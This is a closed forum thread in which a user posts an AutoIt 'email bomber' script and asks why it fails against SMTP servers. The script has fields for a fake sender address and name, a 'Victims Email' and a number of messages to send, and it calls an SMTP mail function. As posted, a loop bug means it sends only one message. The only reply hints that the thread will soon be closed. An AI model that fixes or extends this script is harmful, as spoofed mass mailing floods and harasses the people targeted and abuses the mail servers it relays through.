Sign in to follow this  
Followers 0
Muchuchu

Will This Script Work?

2 posts in this topic

#1 ·  Posted (edited)

Well I have an "email bomber" but I keep getting errors with the smtp servers I use, I have tried a lot of them and can't get any to work. I am not really using this program for anything malicious just for experience as I do for all my programs but I understand if you don't want to help. Here's my script:

EDIT- So my real question is, is it the servers I am using's fault, or is it something to do with my script or something wrong with inet?

#include <INet.au3>

#include <GUIConstants.au3>

#Region ### START Koda GUI section ### Form=
$Form1 = GUICreate("Email Bomber", 335, 326, 193, 124)
$Group1 = GUICtrlCreateGroup("Email Specs", 8, 8, 313, 137)
$Label2 = GUICtrlCreateLabel("Your fake email", 16, 48, 77, 17)
$Label3 = GUICtrlCreateLabel("Victims Email", 16, 72, 65, 17)
$Input1 = GUICtrlCreateInput("Server Name", 120, 24, 169, 21)
$Yemail = GUICtrlCreateInput("John@smith.com", 120, 48, 169, 21)
$Vemail = GUICtrlCreateInput("Nick@allgaming.org", 120, 72, 169, 21)
$Label1 = GUICtrlCreateLabel("SMTP Server ", 16, 24, 71, 17)
$Label6 = GUICtrlCreateLabel("Your fake name", 16, 104, 79, 17)
$Input3 = GUICtrlCreateInput("David Spade", 120, 104, 169, 21)
GUICtrlCreateGroup("", -99, -99, 1, 1)
$Group2 = GUICtrlCreateGroup("Email Info", 8, 152, 313, 121)
$Label4 = GUICtrlCreateLabel("Title", 16, 176, 24, 17)
$Input2 = GUICtrlCreateInput("Untitled", 80, 176, 233, 21)
$Label5 = GUICtrlCreateLabel("Subject", 16, 208, 40, 17)
$Input4 = GUICtrlCreateInput("Untitled", 80, 208, 233, 21)
$Body = GUICtrlCreateLabel("Body", 16, 240, 28, 17)
$Input5 = GUICtrlCreateInput("Body of email goes here", 80, 240, 233, 21)
GUICtrlCreateGroup("", -99, -99, 1, 1)
$Button1 = GUICtrlCreateButton("Send!", 256, 280, 65, 33, 0)
$Label7 = GUICtrlCreateLabel("How many would you like to send?", 8, 288, 168, 17)
$Input6 = GUICtrlCreateInput("20", 192, 288, 57, 21)
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###

While 1
$nMsg = GUIGetMsg()
Switch $nMsg
Case $GUI_EVENT_CLOSE
Exit
case $button1
    start()
EndSwitch
WEnd



func start()
$s_SmtpServer = guictrlread($input1)
$s_FromName = guictrlread($input3)
$s_FromAddress = guictrlread($yemail)
$s_ToAddress = guictrlread($vemail) 
$s_Subject = guictrlread($input4)
$as_Body = guictrlread($input2)

Do
    $i = 0
$Response = _INetSmtpMail ($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $as_Body)
$i = $i + 1

if @error Then
    msgbox (1,"Error","An Error has occured" & @crlf & @crlf & "Please make sure to have every field filled out and/or try a different Smtp server")
ExitLoop
endif
until $i = 1

$err = @error
If $Response = 1 Then
    MsgBox(0, "Success!", "Mail sent")
Else
    MsgBox(0, "Error!", "Mail failed with error code " & $err)
EndIf
endfunc
Edited by Muchuchu

Share this post


Link to post
Share on other sites

I give it 30 mins.


- Table UDF - create simple data tables - Line Graph UDF GDI+ - quickly create simple line graphs with x and y axes (uses GDI+ with double buffer) - Line Graph UDF - quickly create simple line graphs with x and y axes (uses AI native graphic control) - Barcode Generator Code 128 B C - Create the 1/0 code for barcodes. - WebCam as BarCode Reader - use your webcam to read barcodes - Stereograms!!! - make your own stereograms in AutoIT - Ziggurat Gaussian Distribution RNG - generate random numbers based on normal/gaussian distribution - Box-Muller Gaussian Distribution RNG - generate random numbers based on normal/gaussian distribution - Elastic Radio Buttons - faux-gravity effects in AutoIT (from javascript)- Morse Code Generator - Generate morse code by tapping your spacebar!

Share this post


Link to post
Share on other sites
Guest
This topic is now closed to further replies.
Sign in to follow this  
Followers 0